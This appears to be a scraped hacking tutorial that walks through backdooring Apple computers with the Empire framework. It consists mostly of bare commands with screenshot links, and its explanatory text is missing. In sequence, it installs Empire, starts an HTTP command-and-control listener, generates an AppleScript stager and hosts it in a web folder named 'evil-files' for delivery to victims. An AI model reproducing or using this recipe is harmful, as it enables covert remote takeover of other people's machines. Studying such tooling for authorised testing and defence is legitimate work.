Hack Apple Computers Using an Empire Stager
What is Empire?
How to Install Empire?
git clone https://github.com/BC-SECURITY/Empire.git
cd Empire/setup
./install.sh
How to Run Empire?
cd /opt/Empire
./empire
Listening For Incoming Connections:
listeners
uselistener + <space> + <tab> <tab>
uselistener http
info
![](https://zsecurity.org/wp-content/uploads/2021/04/1-e1617382626483.png)
set Name http_listener1 set Port 8080
execute
![](https://zsecurity.org/wp-content/uploads/2021/04/2-e1617382567671.png)
Generating an OSX Stager:
usestager + <space> + <tab> <tab>
usestager osx/applescript
info
set listener http_listener1 set OutFile /tmp/applescript
execute
![](https://zsecurity.org/wp-content/uploads/2021/04/3-e1617382474166.png)
Delivering Our Backdoor:
cp /tmp/applescript /var/www/html/evil-files
service apache2 start
![](https://zsecurity.org/wp-content/uploads/2021/04/4-e1617382672507.png)
![](https://zsecurity.org/wp-content/uploads/2021/04/5-e1617382724255.png)
![](https://zsecurity.org/wp-content/uploads/2021/04/6-e1617382769247.png)
![](https://zsecurity.org/wp-content/uploads/2021/04/7-e1617382825128.png)
![](https://zsecurity.org/wp-content/uploads/2021/04/8-e1617382873410.png)
![](https://zsecurity.org/wp-content/uploads/2021/04/9-e1617382915588.png)
Leave A Reply
You must be logged in to post a comment.
1 Comment
If you have any questions, you can send me an email at [email protected]